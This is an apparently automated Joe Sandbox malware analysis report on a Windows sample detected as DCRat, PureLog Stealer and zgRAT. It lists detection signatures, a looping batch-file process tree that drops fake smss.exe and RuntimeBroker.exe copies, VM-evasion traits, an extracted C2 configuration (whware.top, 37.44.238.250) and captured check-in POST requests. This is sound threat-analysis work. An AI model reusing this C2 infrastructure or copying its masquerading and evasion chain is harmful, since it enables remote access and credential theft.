Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
cbCjTbodwa.exe

Overview

General Information

Sample name:cbCjTbodwa.exe
renamed because original name is a hash value
Original sample name:40bd8b1654d6e65214bd65efdb0beab2.exe
Analysis ID:1580667
MD5:40bd8b1654d6e65214bd65efdb0beab2
SHA1:a8b7565bab387baee59fd80e21ba2806ab0eeb38
SHA256:c6887b45e8295fd4896655603b599850cff7fc0b4322e5ace083d584196755a4
Tags:DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DCRat
Yara detected PureLog Stealer
Yara detected zgRAT
.NET source code contains method to dynamically call methods (often used by packers)
AI detected suspicious sample
Drops PE files with benign system names
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: System File Execution Location Anomaly
Sigma detected: Windows Binaries Write Suspicious Extensions
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • cbCjTbodwa.exe (PID: 6240 cmdline: "C:\Users\user\Desktop\cbCjTbodwa.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
    • cmd.exe (PID: 2008 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 4544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • chcp.com (PID: 3452 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
      • PING.EXE (PID: 560 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)
      • smss.exe (PID: 5940 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
        • cmd.exe (PID: 6456 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rsWxIDz3Cx.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • conhost.exe (PID: 2312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • chcp.com (PID: 5232 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
          • PING.EXE (PID: 648 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)
          • smss.exe (PID: 4324 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
            • cmd.exe (PID: 2284 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IB3ybkF286.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
              • conhost.exe (PID: 4080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • chcp.com (PID: 2912 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
              • PING.EXE (PID: 2812 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)
              • smss.exe (PID: 2336 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
                • cmd.exe (PID: 3156 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\WLOEqHw6cP.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
                  • conhost.exe (PID: 5960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                  • chcp.com (PID: 3696 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
                  • PING.EXE (PID: 404 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)
                  • smss.exe (PID: 2676 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
                    • cmd.exe (PID: 5428 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\z5PBQAYZs7.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
                      • conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                      • chcp.com (PID: 6620 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
                      • PING.EXE (PID: 3488 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)
                      • smss.exe (PID: 5440 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
                        • cmd.exe (PID: 7140 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\COegk83zmU.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
                          • conhost.exe (PID: 3168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                          • chcp.com (PID: 1364 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
                          • w32tm.exe (PID: 3964 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)
                          • smss.exe (PID: 3808 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
                            • cmd.exe (PID: 6552 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsjJJiW2rn.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
                              • conhost.exe (PID: 5100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                              • chcp.com (PID: 5780 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
                              • w32tm.exe (PID: 3844 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)
                              • smss.exe (PID: 1432 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
                                • cmd.exe (PID: 3484 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zhbNlpe3Af.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
                                  • conhost.exe (PID: 4340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                                  • chcp.com (PID: 6152 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
                                  • PING.EXE (PID: 5580 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)
                                  • smss.exe (PID: 6328 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
                                    • cmd.exe (PID: 7144 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\SrnQwv5hL3.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
                                      • conhost.exe (PID: 6192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                                      • chcp.com (PID: 5472 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
                                      • PING.EXE (PID: 6008 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)
                                      • smss.exe (PID: 1620 cmdline: "C:\Program Files\Uninstall Information\smss.exe" MD5: 40BD8B1654D6E65214BD65EFDB0BEAB2)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DCRatDCRat is a typical RAT that has been around since at least June 2019.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
NameDescriptionAttributionBlogpost URLsLink
zgRATzgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://whware.top/RequestLowGeoLongpollWordpress", "MUTEX": "DCR_MUTEX-7j0T2PsNgFXfJvQo7R5q"}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
cbCjTbodwa.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
    cbCjTbodwa.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

      Dropped Files

      SourceRuleDescriptionAuthorStrings
      C:\Program Files\Uninstall Information\smss.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
        C:\Program Files\Uninstall Information\smss.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
          C:\Program Files (x86)\Windows Mail\RuntimeBroker.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
            C:\Program Files (x86)\Windows Mail\RuntimeBroker.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
              C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                Click to see the 5 entries

                Memory Dumps

                SourceRuleDescriptionAuthorStrings
                00000000.00000000.1650898276.0000000000702000.00000002.00000001.01000000.00000003.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                  00000000.00000002.1707911521.0000000012E21000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                    Process Memory Space: cbCjTbodwa.exe PID: 6240JoeSecurity_DCRat_1Yara detected DCRatJoe Security
                      Process Memory Space: smss.exe PID: 5940JoeSecurity_DCRat_1Yara detected DCRatJoe Security

                        Unpacked PEs

                        SourceRuleDescriptionAuthorStrings
                        0.0.cbCjTbodwa.exe.700000.0.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                          0.0.cbCjTbodwa.exe.700000.0.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

                            Sigma Signatures

                            System Summary

                            barindex
                            Sigma detected: Files With System Process Name In Unsuspected Locations
                            Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\cbCjTbodwa.exe, ProcessId: 6240, TargetFilename: C:\Windows\L2Schemas\RuntimeBroker.exe
                            Sigma detected: System File Execution Location Anomaly
                            Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Program Files\Uninstall Information\smss.exe" , CommandLine: "C:\Program Files\Uninstall Information\smss.exe" , CommandLine|base64offset|contains: , Image: C:\Program Files\Uninstall Information\smss.exe, NewProcessName: C:\Program Files\Uninstall Information\smss.exe, OriginalFileName: C:\Program Files\Uninstall Information\smss.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2008, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Program Files\Uninstall Information\smss.exe" , ProcessId: 5940, ProcessName: smss.exe
                            Sigma detected: Windows Binaries Write Suspicious Extensions
                            Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Uninstall Information\smss.exe, ProcessId: 5940, TargetFilename: C:\Users\user\AppData\Local\Temp\rsWxIDz3Cx.bat

                            Suricata Signatures

                            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                            2024-12-25T16:32:15.504099+010020480951A Network Trojan was detected192.168.2.44973037.44.238.25080TCP
                            2024-12-25T16:32:29.472846+010020480951A Network Trojan was detected192.168.2.44973737.44.238.25080TCP
                            2024-12-25T16:32:43.332294+010020480951A Network Trojan was detected192.168.2.44973837.44.238.25080TCP
                            2024-12-25T16:32:57.457344+010020480951A Network Trojan was detected192.168.2.44973937.44.238.25080TCP
                            2024-12-25T16:33:12.285516+010020480951A Network Trojan was detected192.168.2.44976737.44.238.25080TCP
                            2024-12-25T16:33:32.315897+010020480951A Network Trojan was detected192.168.2.44981337.44.238.25080TCP
                            2024-12-25T16:33:48.694069+010020480951A Network Trojan was detected192.168.2.44985437.44.238.25080TCP
                            2024-12-25T16:34:03.332152+010020480951A Network Trojan was detected192.168.2.44988537.44.238.25080TCP

                            Joe Sandbox Signatures

                            Click to jump to signature section

                            Show All Signature Results

                            AV Detection

                            barindex
                            Antivirus / Scanner detection for submitted sample
                            Source: cbCjTbodwa.exeAvira: detected
                            Antivirus detection for URL or domain
                            Source: http://whware.top/RequestLowGeoLongpollWordpress.phpAvira URL Cloud: Label: malware
                            Antivirus detection for dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeAvira: detection malicious, Label: HEUR/AGEN.1323342
                            Source: C:\Users\user\AppData\Local\Temp\rsWxIDz3Cx.batAvira: detection malicious, Label: BAT/Delbat.C
                            Source: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exeAvira: detection malicious, Label: HEUR/AGEN.1323342
                            Source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exeAvira: detection malicious, Label: HEUR/AGEN.1323342
                            Source: C:\Users\user\AppData\Local\Temp\SrnQwv5hL3.batAvira: detection malicious, Label: BAT/Delbat.C
                            Source: C:\Users\user\AppData\Local\Temp\IB3ybkF286.batAvira: detection malicious, Label: BAT/Delbat.C
                            Source: C:\Users\user\AppData\Local\Temp\COegk83zmU.batAvira: detection malicious, Label: BAT/Delbat.C
                            Source: C:\Users\user\Desktop\AGgFSeej.logAvira: detection malicious, Label: HEUR/AGEN.1300079
                            Source: C:\Users\user\Desktop\CvhdKpmN.logAvira: detection malicious, Label: TR/PSW.Agent.qngqt
                            Source: C:\Users\user\AppData\Local\Temp\z5PBQAYZs7.batAvira: detection malicious, Label: BAT/Delbat.C
                            Source: C:\Users\user\Desktop\CTwchNCP.logAvira: detection malicious, Label: HEUR/AGEN.1300079
                            Source: C:\Users\user\AppData\Local\Temp\WLOEqHw6cP.batAvira: detection malicious, Label: BAT/Delbat.C
                            Source: C:\Users\user\AppData\Local\Temp\LsjJJiW2rn.batAvira: detection malicious, Label: BAT/Delbat.C
                            Source: C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.batAvira: detection malicious, Label: BAT/Delbat.C
                            Source: C:\Users\user\AppData\Local\Temp\zhbNlpe3Af.batAvira: detection malicious, Label: BAT/Delbat.C
                            Source: C:\Users\user\AppData\Local\Temp\HqVvjk53aP.batAvira: detection malicious, Label: BAT/Delbat.C
                            Found malware configuration
                            Source: 00000000.00000002.1707911521.0000000012E21000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: DCRat {"C2 url": "http://whware.top/RequestLowGeoLongpollWordpress", "MUTEX": "DCR_MUTEX-7j0T2PsNgFXfJvQo7R5q"}
                            Multi AV Scanner detection for dropped file
                            Source: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exeReversingLabs: Detection: 71%
                            Source: C:\Program Files\Uninstall Information\smss.exeReversingLabs: Detection: 71%
                            Source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exeReversingLabs: Detection: 71%
                            Source: C:\Users\user\Desktop\AkBKmAvu.logReversingLabs: Detection: 25%
                            Source: C:\Users\user\Desktop\CCpKTrIN.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\CvXLmSbv.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\CvhdKpmN.logReversingLabs: Detection: 70%
                            Source: C:\Users\user\Desktop\DcFucYbv.logReversingLabs: Detection: 50%
                            Source: C:\Users\user\Desktop\DsyTISqq.logReversingLabs: Detection: 37%
                            Source: C:\Users\user\Desktop\EbrBtxwn.logReversingLabs: Detection: 50%
                            Source: C:\Users\user\Desktop\EjbTYgWt.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\EvAkSdoC.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\FHzuREdv.logReversingLabs: Detection: 70%
                            Source: C:\Users\user\Desktop\FbzvpqBU.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\GHObKKRD.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\GqWrkPRR.logReversingLabs: Detection: 25%
                            Source: C:\Users\user\Desktop\GzJevKjX.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\HHTkwVXM.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\HcPBaEHS.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\HgfAZqyv.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\IsIaGzVN.logReversingLabs: Detection: 29%
                            Source: C:\Users\user\Desktop\JUiTFEgk.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\JgNirMRL.logReversingLabs: Detection: 25%
                            Source: C:\Users\user\Desktop\KDfbGRAO.logReversingLabs: Detection: 37%
                            Source: C:\Users\user\Desktop\KFtuhByL.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\KxKbDRXG.logReversingLabs: Detection: 50%
                            Source: C:\Users\user\Desktop\LSGshBHL.logReversingLabs: Detection: 50%
                            Source: C:\Users\user\Desktop\MeAtuRrv.logReversingLabs: Detection: 25%
                            Source: C:\Users\user\Desktop\OaDBDTBH.logReversingLabs: Detection: 20%
                            Source: C:\Users\user\Desktop\OkIkBytc.logReversingLabs: Detection: 25%
                            Source: C:\Users\user\Desktop\OnvJYDSq.logReversingLabs: Detection: 70%
                            Multi AV Scanner detection for submitted file
                            Source: cbCjTbodwa.exeVirustotal: Detection: 58%Perma Link
                            Source: cbCjTbodwa.exeReversingLabs: Detection: 71%
                            AI detected suspicious sample
                            Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.6% probability
                            Machine Learning detection for dropped file
                            Source: C:\Users\user\Desktop\CUBmTYHY.logJoe Sandbox ML: detected
                            Source: C:\Program Files\Uninstall Information\smss.exeJoe Sandbox ML: detected
                            Source: C:\Users\user\Desktop\CpxCxIse.logJoe Sandbox ML: detected
                            Source: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exeJoe Sandbox ML: detected
                            Source: C:\Users\user\Desktop\BnCbxKtG.logJoe Sandbox ML: detected
                            Source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exeJoe Sandbox ML: detected
                            Source: C:\Users\user\Desktop\AGgFSeej.logJoe Sandbox ML: detected
                            Source: C:\Users\user\Desktop\CvXLmSbv.logJoe Sandbox ML: detected
                            Source: C:\Users\user\Desktop\CvhdKpmN.logJoe Sandbox ML: detected
                            Source: C:\Users\user\Desktop\CTwchNCP.logJoe Sandbox ML: detected
                            Source: C:\Users\user\Desktop\CXuUcpmv.logJoe Sandbox ML: detected
                            Machine Learning detection for sample
                            Source: cbCjTbodwa.exeJoe Sandbox ML: detected
                            Sample uses string decryption to hide its real strings
                            Source: 00000000.00000002.1707911521.0000000012E21000.00000004.00000800.00020000.00000000.sdmpString decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-7j0T2PsNgFXfJvQo7R5q","0","","","5","2","WyIxIiwiIiwiNSJd","WyIiLCJXeUlpTENJaUxDSmlibFp6WWtFOVBTSmQiXQ=="]
                            Source: 00000000.00000002.1707911521.0000000012E21000.00000004.00000800.00020000.00000000.sdmpString decryptor: [["http://whware.top/","RequestLowGeoLongpollWordpress"]]
                            Source: cbCjTbodwa.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDirectory created: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exeJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDirectory created: C:\Program Files\Windows Multimedia Platform\bb1ff9bc311443Jump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDirectory created: C:\Program Files\Uninstall Information\smss.exeJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDirectory created: C:\Program Files\Uninstall Information\69ddcba757bf72Jump to behavior
                            Source: cbCjTbodwa.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                            Source: Binary string: s\dll\System.pdb source: smss.exe, 00000014.00000002.2158512578.000000001C8E2000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2465550834.000000001C8EB000.00000004.00000020.00020000.00000000.sdmp
                            Source: Binary string: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.inim.pdb source: smss.exe, 00000033.00000002.2906634991.000000001BF13000.00000004.00000020.00020000.00000000.sdmp
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\userJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\AppDataJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\AppData\LocalJump to behavior

                            Networking

                            barindex
                            Suricata IDS alerts for network traffic
                            Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49730 -> 37.44.238.250:80
                            Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49854 -> 37.44.238.250:80
                            Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49738 -> 37.44.238.250:80
                            Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49813 -> 37.44.238.250:80
                            Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49737 -> 37.44.238.250:80
                            Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49739 -> 37.44.238.250:80
                            Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49767 -> 37.44.238.250:80
                            Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49885 -> 37.44.238.250:80
                            Uses ping.exe to check the status of other devices and networks
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: Joe Sandbox ViewIP Address: 37.44.238.250 37.44.238.250
                            Source: Joe Sandbox ViewASN Name: HARMONYHOSTING-ASFR HARMONYHOSTING-ASFR
                            Source: global trafficHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: whware.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                            Source: global trafficHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: whware.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                            Source: global trafficHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: whware.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                            Source: global trafficHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: whware.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                            Source: global trafficHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: whware.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                            Source: global trafficHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34Host: whware.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                            Source: global trafficHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: whware.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                            Source: global trafficHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: whware.topContent-Length: 336Expect: 100-continueConnection: Keep-Alive
                            Source: global trafficHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: whware.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                            Source: global trafficDNS traffic detected: DNS query: whware.top
                            Source: unknownHTTP traffic detected: POST /RequestLowGeoLongpollWordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: whware.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
